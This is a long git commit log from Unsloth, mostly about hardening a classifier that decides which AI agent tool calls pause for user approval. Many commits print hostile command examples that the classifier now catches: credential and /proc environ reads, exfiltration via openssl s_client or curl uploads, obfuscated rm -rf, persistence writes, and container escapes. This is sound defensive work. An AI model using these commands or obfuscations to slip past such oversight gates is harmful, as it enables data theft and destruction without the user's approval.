- Use taskkill /T in unsloth studio stop so llama-server children stop too
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten comments in start, studio, and inference changes
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Unsloth start: add local subagents for Claude Code, Codex, OpenCode and Pi (#7326)
Bring the local-subagent support onto main. The original change (#7316) merged
into the stacked pr/daniel-unsloth-start-audit branch rather than main, and #7313
reached main via squash, so these files never landed on main.
Adds --as-subagent for claude, codex, opencode and pi: the parent agent keeps its
own cloud model while a locally served GGUF is registered as a delegated subagent,
using ephemeral per-session config that never touches the user's real agent config.
* Fix Agents builder defaults and flag validation
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix Agents variant and provider fallbacks
* Fix local model and Pi subagent edge cases
* Agents tab: flag the Codex row when the loaded model is not GGUF
* Agents tab: target the active Studio server, wrap narrow rows, index the tab's search terms
* Agents tab: build copied commands from the browser-reachable Studio and show the key placeholder
* Preserve cache load ids and path variants in built commands for PR #7312
A GGUF outside the active Hugging Face cache only loads by its snapshot
path, so keep that load_id for --model while still listing the row by repo
id. Path based models carry their quant in --gguf-variant rather than a
":variant" suffix, and the active selection now keeps the variant inference
status reports for them.
* Agents tab: index the intro for agent-name searches and keep long commands inside the panel
* List GGUF variants from the cache the command loads from for PR #7312
A snapshot outside the active Hugging Face cache was offering the remote
variant list, so a quant absent from that snapshot could be selected and
the generated command would fail to load it.
* Agents tab: omit --api-key so the CLI can replay a saved key for the base
* Agents tab: label the indexed heading rows and fall back to the active desktop API base
* Agents tab: name every supported agent in the indexed intro for PR #7303
* Send the cached GGUF load path and fix the agents tab search targets for PR #7312
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten the agents tab comments for PR #7303
* Build the agents tab example commands from the active Studio base for PR #7303
* Keep the resident model on its active cache load for PR #7312
* Tighten the agents tab and cached GGUF comments for PR #7312
* Take the agent command shell from the Studio host for PR #7303
* Stop emitting snapshot paths as --model and keep unsloth start searchable for PR #7312
* Pick the command shell from where the CLI runs for PR #7303
* Match a path load by its advertised id and follow the resident model for PR #7312
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep an explicit quantization and retire superseded native-grant labels for PR #7312
* Scope the remembered quant, stop following unloaded models and keep local GGUF paths for PR #7312
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Stop shadowing the path classifier, match snapshot ordering and sequence status polls for PR #7312
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Release stale native-grant picks, keep local GGUF identities and index snapshot aliases for PR #7312
* Index inactive-cache snapshots, widen local GGUF detection and clear retired quants for PR #7312
* Classify cached repos by snapshot, merge repo ids case-insensitively and keep loose GGUFs variantless for PR #7312
* Fix snapshot alias, partial split and mmproj-only handling for PR #7312
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Trust scanned model_format and drop incomplete snapshot ids for PR #7312
* Exclude mmproj and partial downloads, keep path case and drop duplicate scan for PR #7312
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Restrict revision aliases and require complete snapshot variants for PR #7312
* Index revisions individually and hide partial variants for PR #7312
---------
Co-authored-by: shimmyshimmer <107991372+shimmyshimmer@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: oobabooga <oobabooga4@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Default tool-call permission to Approve for me, prompting only on high-risk actions
Make "auto" ("Approve for me") the product default permission mode for local
tool calls, and narrow what it prompts on so ordinary development commands run
without interruption.
Before, an omitted permission_mode behaved as "ask" (or ran ungated on a
non-streaming request), and "auto" paused on any call that was not read-only
(pip install, mkdir, cp, python train.py, git commit, any redirect). Now:
- Unset permission_mode normalizes to "auto" at the API boundary and in both
tool loops; the Field defaults are "auto" too. An unrecognized value still
falls back to the stricter "ask".
- "auto" pauses only on genuinely high-risk calls via a new
is_high_risk_tool_call classifier: credential/secret path access, privilege
escalation (sudo/su/doas/pkexec), destructive or persistence commands
(rm/dd/mkfs/crontab/systemctl/recursive chmod, ...), and network exec/exfil
(curl piped to a shell, ssh/scp/nc, curl uploads). Everything else runs.
Python prompts on shell escapes, network egress, sensitive reads, and
dynamically built code; ordinary in-workdir writes run.
- Frontend sends permission_mode for every local chat and omits
confirm_tool_calls for "auto" so the safe-only no-stream exception still
applies; the picker and store describe the new behavior.
The hard-block command set, code-safety static analysis, resource limits,
secret-env stripping, and the per-session sandbox workdir remain in force under
every mode, and "ask" is still available for users who want to confirm every
call.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep non-streaming tool requests working under the auto default
The default-permission change made an omitted permission_mode normalize to
auto at the request boundary, so a non-streaming enable_tools request hit the
confirm-without-stream guard and returned 400 instead of running (regression
against the #6570 non-streaming tool-call contract used by non-interactive
clients and health checks).
Keep permission_mode unset at the request boundary (the confirm gate can only
prompt while streaming, so an unset non-streaming request stays lenient and
runs), while the tool loops continue to normalize an unset mode to auto for the
per-call gate. Net: streaming requests default to auto and pause high-risk
calls; non-streaming requests keep the prior run-without-gate behavior.
* Harden the auto high-risk classifier against review-flagged bypasses
Address Codex/Gemini review of the default-permission change by gating the
destructive/exec cases that were reaching auto mode without a prompt:
- Terminal: a non-shell interpreter running inline code (python -c, node -e,
perl -E, php -r), destructive git subcommands (git clean, git reset --hard,
git push --force), and a command synthesized by a command-position
substitution ($(printf rm) -rf build) now prompt. Ordinary python <script>,
git commit/push, and argument-position substitutions (echo $(date)) run.
- Python tool: exec/eval/compile/__import__ invoked by keyword (compile(source=
...), import_module(name=...)) is now caught alongside the positional form.
- MCP: an execution tool (run_command, execute_script, invoke_shell) is gated
like a terminal call, since it runs arbitrary commands on the MCP server
outside the terminal sandbox; ordinary create/list/read tools still run.
The curl/wget exfil and shell eval cases the review raised are already refused
by the sandbox hard-block set, so no gate change was needed there; the PR
description now notes the classifier layers on top of that hard-block.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Recurse shell -c payloads and literal exec source in the high-risk gate
Second review round on the auto high-risk classifier:
- A high-risk command wrapped in a shell -c payload (bash -c 'git clean -fd',
sh -c 'truncate -s 0 x') is now screened by recursing into the payload,
bounded by depth. The sandbox hard-block only recurses for its own smaller
command set, so git/truncate wrapped this way previously ran unprompted.
- A literal exec/eval/compile source is screened for what it runs rather than
assumed harmless: exec('import urllib...urlopen(...)') now prompts, while
exec('x = 1') and a literal __import__('os') name still run.
- git global options that take a value (git -C repo clean, git -c k=v clean)
consume their value before the subcommand is read, so the real subcommand
is judged.
- The network exfil check also runs over the assignment-expanded command, so a
curl/wget name assembled from variables (c=cu d=rl; $c$d -F ...) is seen.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Cover attached inline flags, env -S/-C, camelCase MCP, folded python paths
Third review round on the auto high-risk classifier:
- Interpreter inline code in the attached short form (python -c'...',
node -e'...') is now matched by the -c/-e/-E/-r prefix, not only the exact
flag token.
- env -S / --split-string runs its string as a command (screened recursively)
and env -C / --chdir changes the working directory (asks), so a destructive
command behind env is no longer treated as a plain wrapper.
- camelCase MCP tool names are split on the case boundary (runCommand ->
run_Command) before the execution / sensitive-noun regexes, so camelCase
execution tools are gated like snake_case ones.
- A sensitive path folded across string-literal variables, os.path.join,
sep.join([...]), or an f-string (p='/etc'; open(p+'/shadow')) is now folded
and re-checked; an unresolved fragment folds to a sentinel so a partial fold
never false-positives.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Gate substitution-built shell payloads and keep explicit confirm opt-in
Two auto-mode gaps from review:
- A command substitution stashed in a variable and then executed dynamically
(x=`printf 'git clean -fd'`; bash -c "$x", or ...; $x, or eval "$x") never
appears as literal command text, so the token scan could not see the real
command and git clean ran without a prompt. Fail closed when a command
substitution coincides with a variable executed as a command. Ordinary
substitutions captured into a value/argument (d=$(date); mkdir build_$d) still
run.
- An explicit confirm_tool_calls=True with no permission_mode is the
pre-permission-mode opt-in to confirm every call. It now resolves to "ask" at
the request layer instead of the "auto" product default, so those callers keep
per-call gating rather than only prompting on high-risk calls. A bare unset
request (confirm flag not set) still defaults to auto.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Cover CLI-forced confirm, Windows delete built-ins, and pathlib reads
Three more auto-mode gaps from review:
- An explicit confirm_tool_calls=True with no permission_mode is now resolved to
"ask" regardless of the request-level tool flags, so a process-wide
--enable-tools policy that forces the loop when the request sets neither
enable_tools nor mcp_enabled still gates every call. Setting only the mode is
inert unless the loop runs, so a passthrough request is unaffected;
external-provider requests are still left untouched.
- The Windows cmd.exe delete built-ins del, erase, and rd are added to the
high-risk terminal set. The terminal executor runs cmd /c on Windows and these
are not in the hard-block set, so del /q file.csv would otherwise run in the
workdir without a prompt.
- A sensitive path assembled with pathlib (Path('/etc') / 'passwd', joinpath, or
a Path bound to a variable then joined) is now gated. The python high-risk
folder reuses the shared _folded_path builder plus _folded_is_sensitive, which
already handle the / operator, path constructors, os.path.join, str.join,
f-strings, and %/.format. Relative in-workdir and unknown-base paths still run.
* Gate combined -c, versioned interpreters, busybox, and sensitive chdir
Four more auto-mode classifier gaps from review, plus a sandbox backstop:
- Combined shell flag clusters (bash -lc, bash -xc) and the attached form
(bash -c'...') now have their -c payload screened recursively; the same
cluster handling closes python -Bc inline code. Previously only an exact -c
matched, so bash -lc 'git clean -fd' ran without a prompt.
- Versioned interpreter binaries (python3.11, python2.7, pypy3.10) are recognized
as inline-code interpreters, so python3.11 -c '...' is gated like python3 -c.
- busybox / toybox are treated as command wrappers, so the applet
(busybox rm -rf) is judged instead of the multicall binary, which was slipping
through as an unknown-but-safe command.
- A chdir into a sensitive directory (cd /proc/$PPID; cat environ, cd /etc) is
gated: the read happens after the directory change so no single token spells
out the sensitive path. Ordinary in-workdir chdirs still run.
- Backstop for the /proc/<parent>/environ read: the sandbox now hardens the
Unsloth process against same-UID /proc environ reads in normal sandboxed mode
too, not only in bypass mode, so a classifier miss cannot recover the parent
environment. Best-effort in the sandbox (the child env is already scrubbed), so
a host where prctl is unavailable still runs.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Harden parent proc-env on the sandboxed python path too
The previous commit hardened the Unsloth process against same-UID
/proc/<parent>/environ reads on the sandboxed bash path; apply the same
best-effort hardening on the sandboxed python exec path so both tools are
symmetric. Update test_bypass_exec_hardens_parent_proc_env, which asserted the
sandboxed path never hardened, to expect the backstop on both paths.
* Tighten the curl/wget exfil check for attached and wget upload flags
The network exec/exfil classifier missed a curl upload flag when it was attached
to its value (curl -Ffile=@dump.sql, curl -d@f) because the token was split on =
first, and it did not cover wget's upload flags (--post-data, --post-file,
--body-data, --body-file). curl short upload flags are now matched prefix-wise and
wget's upload flags are checked separately, which also removes a false positive
where a benign wget short option (wget -T timeout, wget -F force-html) was read as
an upload. curl and wget remain hard-blocked by the sandbox regardless; this only
tightens when auto mode pauses for approval.
* Tighten the high-risk auto-mode classifier: wrapper, interpreter, git, python-fs, MCP, and persistence-write gaps
Close reachable gaps where a genuinely dangerous tool call was auto-approved
without a prompt in Approve-for-me mode:
- Process-launch wrappers: setsid/exec/builtin forward the command position, so
screen their child (setsid git clean, exec python -c) instead of the wrapper.
- Inline-code interpreters: node/bun -p/--print evaluate code like -e; pwsh
-Command/-EncodedCommand run inline code (not hard-blocked off Windows).
- Windows cmd.exe /c|/k recurses into the nested command (cmd /c del x).
- git restore (default --worktree) and git checkout -- . / git checkout .
discard tracked edits irrecoverably, same class as the already-gated git clean.
- Python destructive filesystem calls (os.remove, shutil.rmtree, Path.unlink,
os.rmdir/removedirs, incl. bare imports) pair with the terminal rm gate.
- MCP: a read-named tool carrying a destructive payload (DELETE/DROP SQL,
GraphQL mutation, mutating HTTP method) still prompts; honestly-named
create/update/delete MCP calls keep running.
- System persistence writes: a write into /etc/profile.d, /etc/cron*,
/etc/systemd, /etc/ld.so.preload, /etc/rc.local, /etc/init.d installs a
boot/login/preload hook. The sandbox keeps host-fs access, so gate these;
ordinary /etc reads (hostname, resolv.conf) and in-workdir writes still run.
Adds table-driven regression rows for every new prompt case and its
guard-against-over-prompt counterpart.
* Extend the high-risk auto-mode gate: non-curl network clients, destructive MCP verbs, array-fed shell payloads
Round-two Codex hardening on the auto (Approve-for-me) classifier:
- Network exfil beyond curl/wget: gate nc/ncat/netcat/telnet/socat/ssh/scp/sftp
at command position and openssl s_client/s_server. The sandbox has no network
namespace, so tar czf - . | openssl s_client -connect host:443 was streaming
the workdir without a prompt. Local openssl (dgst/enc) and a filename that
merely contains a client name still run.
- Destructive MCP tools: an honestly-named delete_file/delete_repo/drop_table/
purge_index/revoke_token runs outside the terminal sandbox and loses data, so
gate the destructive verb on the name. Non-destructive create/update/list/get
still run; a substring like undelete does not match on the segment boundary.
- Dynamically constructed shell payloads: x=(git clean -fd); bash -c "${x[*]}"
carries no command substitution and is not resolved by assignment expansion,
so it slipped the var-executed check. Fail closed when an array expansion is
run as a command; a benign array print (echo "${a[@]}") is untouched.
Adds regression rows for every new prompt case and its benign counterpart.
* Gate user-level persistence writes in auto mode
Extend the persistence-write gate from the /etc set to user-level startup and
autostart locations: a write into ~/.bashrc, ~/.zshrc, ~/.profile and the other
shell rc/profile files, ~/.config/autostart, ~/.config/systemd/user, or
~/.config/environment.d runs on the next login/session, the same boot-hook risk
but needing no root (Studio commonly runs unprivileged, so this is the more
reachable vector). The sandbox does not confine absolute paths, so an append to
~/.bashrc reaches the real file. A non-persistence ~/.config dir and ordinary
reads still run. Adds regression rows.
* Close three more auto-mode gate gaps: curl destructive methods, the dot source synonym, aliased os.remove
- curl -X DELETE / --request DELETE|PUT|PATCH (separated, attached, and
--request= forms) mutates or deletes a remote resource, so gate it; a plain
download and GET still run.
- The hard-block set blocked source but not its POSIX synonym '.', so
. ./script.sh ran the file's contents past the classifier. Block '.' at
command position too; a path argument (find . -type f, cd .) is unaffected.
- os.remove reached through an aliased module (import os as fs; fs.remove(...))
was missed because only the literal receiver 'os' was recognized; resolve
import os as ... aliases, matching the existing safety analyzer.
Adds regression rows for each case and its benign counterpart.
* Close three more obfuscation bypasses of the auto-mode gate and hard block
- ANSI-C quoting hid the command name: a $'rm' -rf x form tokenized as $rm, so
both the high-risk scan and _find_blocked_commands missed it while Bash ran
rm. Decode ANSI-C ($'...') before classifying, in both the terminal
classifier and the blocklist; an ANSI-C string in argument position stays
benign.
- Process substitution executed as a script (an interpreter consuming a <(...)
whose generated content is unscreenable) ran without a prompt; the prior <(
check was unreachable without curl/wget. Gate a process substitution consumed
by an interpreter; a non-interpreter consumer (diff over two <(sort ...))
still runs.
- os.remove bound to a name (f = os.remove; f(x)) or reached via getattr(os,
'remove') bypassed the direct-attribute scan. Track assignment aliases and
getattr with a literal attribute name; a bound list.remove still runs.
Adds regression rows for each case and its benign counterpart.
* Gate container runtimes, MCP privilege grants, arg-embedded exec, and network listeners
- Container/VM runtimes (docker, podman, nerdctl, ctr, crictl, lxc, machinectl,
kubectl) act through a daemon with host privileges, so a bind mount writes the
real filesystem and escapes the child process workdir and rlimits entirely.
Gated wholesale because the escape lives in the arguments.
- MCP privilege grants: an unambiguous privilege verb (grant/authorize/elevate/
escalate/impersonate) prompts on its own; a softer verb (assign/add/set/
attach/bind/put/update/create) prompts only next to a privilege noun (role,
permission, policy, acl, scope, membership), so assign_issue and add_label
keep running while grant_role and add_permission ask.
- A flag whose value is a command the tool then executes (GNU tar
--checkpoint-action=exec=CMD, --rsh, --rsync-path) hid a payload inside an
argument, past both the classifier and the blocklist. Ordinary archiving runs.
- An interpreter serving on the network (python -m http.server, uvicorn,
gunicorn, waitress) exposes the session workdir since the sandbox keeps no
network namespace. A non-server module (python -m pytest, -m pip) still runs.
Adds regression rows for each case and its benign counterpart.
* Close the parallel-review gaps: over-prompting regressions and asymmetric high-risk omissions
Over-prompting fixes (auto mode was pausing on ordinary work):
- The network-listener check matched a server name ANYWHERE in the command, so
`pip install uvicorn`, `grep uvicorn reqs.txt` and even `echo uvicorn`
prompted. Scope it to the two forms that actually listen: a module after
`-m`, or a server binary at command position.
- Inline-code flags were one shared set, so `python -E` (ignore env) and
`python -Werror` read as eval. Resolve them per interpreter: python -c,
node/deno/bun -e/--eval, ruby -e, perl -e/-E, php -r.
- The curl upload scan read option letters from unrelated commands in the same
line (`ls -T && echo curl`). Scope the scan to the segment whose command is
actually curl/wget.
Under-prompting fixes (destructive actions the narrowed gate stopped catching,
each the twin of something already gated):
- git: switch -f/--force/--discard-changes, stash clear/drop, branch -D/-M,
rm, push --delete/--mirror/--prune and the +src / :dst refspec forms.
- Platform twins: unlink, ftp, tftp, format, diskpart, diskutil, schtasks,
reg, sc, launchctl.
- Python: posix/nt module twins (including bare imports), os.truncate,
os.ftruncate, os.kill, os.killpg, and a file handle's truncate. Gated via the
handle name so pandas DataFrame.truncate() keeps running.
- MCP: clear/reset/empty/flush/prune/expire destructive verbs, promote.
- deno/bun expose inline eval as a subcommand, not a flag.
- A bare redirect (`> file`, `: > file`) truncates; a redirect after a real
command is an ordinary write and still runs.
- A forwarded git command keeps its git context (`find -exec git clean`,
`xargs git clean`), and an unquoted `cmd /c` payload spans the remainder.
Adds regression rows for every case and its benign counterpart.
* Gate shell control flow, bash -c clusters, wrapper option values, and annotated aliases
- `if`/`while`/`until` are followed by a condition the shell runs, so a command
there is at command position. `if rm -rf build; then :; fi` slipped both the
classifier and the blocklist (they share the keyword set, so both are fixed).
- A short letter run after `-c` (bash -ce, bash -cl) is more bash options, not
an attached payload: bash still reads the command string from the next token,
so the real payload was never screened.
- A wrapper option taking a separate value (env -u NAME, stdbuf -o L, timeout
--signal TERM, nice -n 5) had its value read as the wrapped command, so
`env -u FOO rm -rf build` resolved the command `FOO` and never judged `rm`.
env -C/--chdir is deliberately excluded: it is gated as a chdir already.
- An annotated binding (f: object = os.remove) is the same alias as a plain
assignment; only ast.Assign was collected.
Adds regression rows for each case and its benign counterpart.
* Fix two gate regressions and close seven more bypasses
Regressions from the previous round, both caught by review:
- Shell keywords were treated as separators anywhere, so `grep if rm README.md`
resolved `rm` as a command and was blocked. A keyword only separates where a
command may start, so gate the check on command position (all three scanners).
- The wrapper option-value table was shared across wrappers, but `env -i` is
valueless while `stdbuf -i` takes a value. `env -i git clean -fd` therefore
consumed `git` and never judged the subcommand. The table is per wrapper now.
New gaps closed:
- `git -c alias.NAME=PAYLOAD` defines code git then runs. Screen the payload: a
`!` alias as a shell command, a plain one as `git <payload>`.
- A script fed to a shell over a pipe (printf '...' | bash) or a herestring
(bash <<< '...') never appears at command position. Ordinary pipes still run.
- `chroot`, `nsenter` and `unshare` cross a privilege or namespace boundary and
then exec a nested command the wrapper hides.
- A bare runtime name (mcp__srv__python, __node, __code) is an MCP execution
tool even without a verb.
- `m = __import__("os")` binds the module like `import os as m`, and
`getattr(__import__("os"), "remove")` reaches it inline.
Declined: gating every command substitution used as a path argument (would
prompt on `echo $(date)` / `make $(FILES)`), and bare `git checkout <path>`
(statically indistinguishable from the very common `git checkout <branch>`).
Adds regression rows for each case and its benign counterpart.
* Pin the auto-mode contract with benign and dangerous corpora
The value of defaulting to "Approve for me" rests on two properties that pull
in opposite directions: ordinary development work must run silently, and
genuinely dangerous work must still prompt. Every denylist change risks
trading one for the other, and a regression in the benign direction is easy to
miss because nothing fails, the mode just starts nagging.
Add two corpora that pin both directions: 62 ordinary commands, python
snippets and MCP calls that must NOT prompt (package installs, builds, tests,
git workflow, reads, ordinary pipes and redirects), and 55 dangerous ones that
must (credential reads, destructive and persistence changes, privilege
escalation, network exec and exfil, container escapes, obfuscated forms).
125 cases, currently 100 percent in both directions.
* Scope four over-prompting checks and close six more gate gaps
Over-prompting fixes (auto mode was pausing on ordinary work):
- find/fd were marked forwarding from the command itself, so every later
positional looked executable and a search whose pattern happened to equal a
gated command name prompted. They only forward after an explicit
-exec/-execdir/-ok flag now.
- The openssl s_client check was not command-position aware, so grepping for
the string in a README prompted.
- An exec-valued flag (--checkpoint-action, --rsh, --rsync-path) counted no
matter which command owned it, so printf '%s' --rsh prompted. It now
requires the owning utility (tar/rsync/scp/sftp) in the same command.
- A listener behind a wrapper or given by absolute path was missed instead
(env uvicorn, timeout 60 gunicorn, /usr/local/bin/uvicorn); resolving the
binary at command position covers all three.
New gaps closed:
- git checkout <commit> <path> overwrites the file from that commit, as does
--pathspec-from-file. A single positional stays ambiguous with a branch name
and is still left alone.
- git config alias.NAME BODY stores code git runs on the next invocation, so
the body is screened like the -c form.
- systemd-run launches a nested command as a transient unit.
- Version-suffixed perl/ruby/php/node still run inline code with -e/-r.
- A file handle bound by `with open(...) as f` is tracked for truncate, not
just an assigned one.
- Exceeding the shell nesting depth now fails closed, matching the docstring,
instead of letting an unscreened payload through.
Declined: rebinding a command name through the bash hash builtin. Like the
alias/read/awk/coproc family already declined, it is deliberate
self-obfuscation of an already-gated command rather than anything a model
emits, and the always-on backstops cover it.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scope two more over-prompting checks and close four gate gaps
Over-prompting fixes (auto mode was pausing on ordinary work):
- A recursive flag was looked for across the whole command line, so
`grep -R pattern . && chmod +x build.sh` made the chmod look recursive and
prompted. The flag is now scoped to the segment that owns the command.
- The startup-file names were matched anywhere in the line, so `cat
notes.profile.bak` and `my.zshrc.template` prompted. They now have to sit on
a path boundary, while the real dotfiles still prompt.
New gaps closed:
- A pending wrapper option value leaked past a command separator, so the
command after it was never screened (`env -u` followed by a recursive delete
was missed). The pending state is cleared at every separator now.
- git plumbing and maintenance that loses data: update-ref, reflog, gc, prune
and history rewriting drop refs and unreachable objects, the same loss the
porcelain forms already gate.
- A module pulled in dynamically is screened against the same set as a static
import, so a dynamically imported socket or shutil is treated alike.
- MCP names that move money or ship artefacts (transfer, payout, charge,
refund, wire, publish, deploy) are irreversible for the operator even though
they are not destructive in the filesystem sense.
Declined two items:
- Gating arbitrary interpreters that can shell out (awk BEGIN blocks and
friends). Consistent with the alias/read/coproc/trap family already declined
here: it inverts the denylist into an allowlist and costs real ergonomics for
payloads a model does not emit in normal work.
- Prompting on every write outside the session workdir. Ordinary builds and
scripts write to the standard temp directories constantly, so this would
prompt on routine work. Persistence and credential paths are already gated
specifically.
* Resolve command-position globs and keep quoted data out of shell syntax
- A glob at command position is expanded by bash after this scan runs, so
`/bin/r[m] -rf x` was screened under a name that never executes. The
always-on blocklist now resolves such a pattern against the blocked names,
and the classifier asks when a command word cannot be resolved at all. The
test builtins are excluded, and a pattern carrying no literal character
resolves to nothing in particular.
- A dollar-quoted word expands to a single word, so a newline inside it is
data rather than a separator. Decoding it before tokenization made
`printf '%s'` with multiline data read as two commands and the call was
refused outright. The decoded text can no longer introduce shell syntax,
while an escape-obfuscated command name still resolves.
- An attribute name assembled from literals is folded before it is screened,
so a deletion spelled as a concatenation is treated like the plain form. A
name on a filesystem module that cannot be folded at all fails closed, since
there is nothing left to screen.
- An MCP name with no separators never reached the segment boundaries, so a
server-side execution tool was classified as ordinary even though the
previous classifier failed closed on it. The verb and object compounds are
matched directly now, while a name that merely starts with those letters is
left alone.
Also narrowing a verb pair added in the previous commit: subscribing to a
topic is not a billing subscription, and pub/sub tools should not prompt.
* Screen attached exec values, wrapped openssl, php code flags, worktree removal and sysctl writes
- fd accepts the command attached to the flag (--exec=<cmd>, --exec-batch=),
and that spelling was stripped and discarded without ever being screened.
The value is treated as command position now, in the classifier and in the
always-on blocklist. Only the long spellings are read this way: a short -x
belongs to too many other utilities for its neighbour to be a command.
- The openssl socket check was anchored at command position, so a wrapper in
front of it (env, timeout) hid the very thing it was meant to catch. The
subcommand is checked on the resolved command segment now, so the wrapped
and absolute forms are covered. Local openssl (dgst, enc) still runs.
- php runs code from -B, -R and -E as well as -r, which are begin, per-line
and end blocks. Only -r was listed, so the other three ran inline programs
unscreened.
- git worktree remove --force deletes a linked worktree even when it holds
uncommitted work or is locked, but only the first-level subcommand was read
so the nested action was invisible. An unforced remove refuses on a dirty
worktree and stays out, matching how the checkout and switch discard flags
are handled.
- sysctl -w, --system and -p change kernel parameters, and the assignment form
writes without needing a flag. A read-only query stays automatic.
* Fail closed on unscreenable MCP names, alias bodies and stored lookups
- An MCP name whose verb this classifier does not recognise now asks. MCP
tools run on an external server, outside the terminal sandbox and every
backstop under it, and their names are an open vocabulary rather than the
finite set of POSIX utilities, so the denylists could never be complete: a
name built from an unfamiliar verb sailed through as ordinary. A generous
read and write vocabulary keeps the everyday tools running, and the reverse
or repeat of a recognised verb (undelete, reopen, resend) counts as
recognised too. Measured against thirty tool names taken from the common
servers, one still prompts, and that one is the pre-existing execution rule
rather than this one.
- A shell alias body is a command bash runs when the alias is invoked, so it
is screened as a command in its own right, in the classifier and in the
always-on blocklist. This is the same shape as a git alias body, which was
already handled; leaving the shell form out was inconsistent.
- git --config-env=<key>=<envvar> takes its value from the environment, so an
alias key stores code that never appears in the command text at all. The
attached form was skipped entirely because the parser required no equals
sign. An alias key gates it now; ordinary keys are untouched.
- A destructive lookup stored before it is called (a name bound to
getattr(os, "remove")) matched neither the direct call shape nor the alias
collection, so it ran. The binding is tracked now.
- A credential basename only names a file when it appears in a string, but the
whole Python source was being scanned, so `credentials = {}`, a function
called load_credentials and even a comment mentioning credentials all
prompted while performing no I/O. The check applies to string literals now,
with the raw scan kept for source that does not parse.
* Split git short-option clusters and close five more gate gaps
- Git combines short options, so `git push -qf`, `git checkout -qf` and
`git branch -qD` never matched the exact-string flag sets and ran without a
prompt. Clusters are split before the destructive flags are checked. Also
adds the short `-f` spelling to the branch set, which moves a ref and can
abandon its commits.
- `getent shadow` and `getent gshadow` return password hashes straight from
NSS, so the read never spells out a path for the sensitive-path check to
find. The database name is gated instead; ordinary lookups (hosts, passwd)
still run.
- The account-management set covered useradd and usermod but not adduser,
deluser, addgroup, delgroup, groupmod, gpasswd, newusers or chgpasswd, so
`gpasswd -a user sudo` granted group membership silently.
- at and batch hand a payload to atd, which runs it later as this user and
outside this invocation's blocklist, resource limits, timeout and
cancellation. They belong with crontab.
- A command word bash builds without the NAME=value form (printf -v, read)
left nothing at command position to screen. A bare variable executed as a
command that assignment expansion could not resolve now fails closed. A
variable used as a path prefix is deliberately excluded: ${VENV}/bin/python
still leaves a literal basename the scan can read.
* Stop prompting on six inspection shapes and close eighteen gate gaps
Over-prompting fixes, which matter most here since not interrupting ordinary
work is the point of the change:
- `git clean -n` and `--dry-run` list what would be removed and remove nothing,
so they are inspection commands. The subcommand was gated regardless of its
flags; a dry run is now recognised in the same segment.
- The listener check matched a module name anywhere in the line, so
`echo 'python -m http.server'` and grepping for it prompted. It is anchored at
command position now, like the server-binary check beside it.
- An MCP name that reads names its SUBJECT, not the action: `get_release`,
`get_invoice`, `search_code` and `get_code` were prompting because the impact
and runtime-noun patterns fired on the noun. A read verb now suppresses both,
while an execution verb still wins.
- Free text is not a statement. An issue body or chat message that mentions
DELETE FROM, a credential file or a path was read as an action. Statements are
taken from the query-bearing argument names, and paths are skipped only for
the prose names, since a path can be carried under any other name.
- curl and wget presence was decided by substring, so `grep curl notes.txt &&
wget -T 5 ...` lent curl's option letters to wget.
Gaps closed:
- git checkout-index -f overwrites the working tree from the index; git tag -d
and -f delete or replace a ref; git switch -C and checkout -B reset an
existing branch the way branch -f does.
- Ending a process (kill, pkill, killall, taskkill, tskill) or the machine
(shutdown, reboot, halt, poweroff) was ungated, though the Python os.kill
equivalent already prompted. setcap grants file capabilities without sudo.
- A network client behind a wrapper (env curl -T) was missed because the client
check ran before the wrapper was resolved. slogin is a standard ssh alias and
was in neither set. wget spells the request method --method=DELETE.
- A tracer (strace, ltrace, valgrind, perf) runs the rest of the line as a
child, so the real command sat in argument position behind it.
- A redirection may precede the command word, so `</dev/null` hid what followed
from both scanners. `exec -a NAME cmd` puts a name where the command goes, and
the Windows `if exist FILE cmd` form puts an operand there.
- In Python: a walrus binds a module or a callee just like an assignment,
builtins.__import__ is the attribute form of __import__, and psutil ends a
process exactly as os.kill does. The psutil check is keyed on the import so an
unrelated .kill() on a user object keeps running.
- Over MCP: a credential carried in an argument NAME (Authorization, X-API-Key,
Cookie) goes out whatever its value looks like; collaborator and team-member
grants are access changes like the role verbs; and a recurring subscription
bills repeatedly.
* Bound the classifier's input and stop prompting on four more ordinary shapes
Found by simulating the whole corpus against pre-PR main on Linux, macOS and
Windows tokenizers and diffing the two, then feeding the classifier adversarial
input.
Robustness:
- The credential-path pattern backtracks superlinearly, so a long argument made
a single classification take seconds. Measured on main as well as here, so it
predates this change, but this change makes the auto gate the default and so
runs it on every call. Text far past any real path, and a command far past any
real command, now fail closed: they ask rather than spending unbounded time
deciding. Worst case over the adversarial set drops from a hang to 13 ms.
Over-prompting fixes:
- A container CLI reading its own state (docker ps, docker images, docker logs,
kubectl get) is inspection. The whole CLI was gated because the escape lives
in the arguments of run/exec, so the read subcommands were caught with it. An
unrecognised subcommand still asks, so the list can only be too small.
- A python payload is screened with the same analyzer the python tool uses, so
`python -c 'import torch; print(torch.__version__)'` runs while a destructive
one-liner still asks. A payload that does not parse fails closed, since shell
quoting may have mangled it. The other runtimes have no analyzer here and stay
gated.
- An assignment with no command after it runs nothing: every terminal call gets
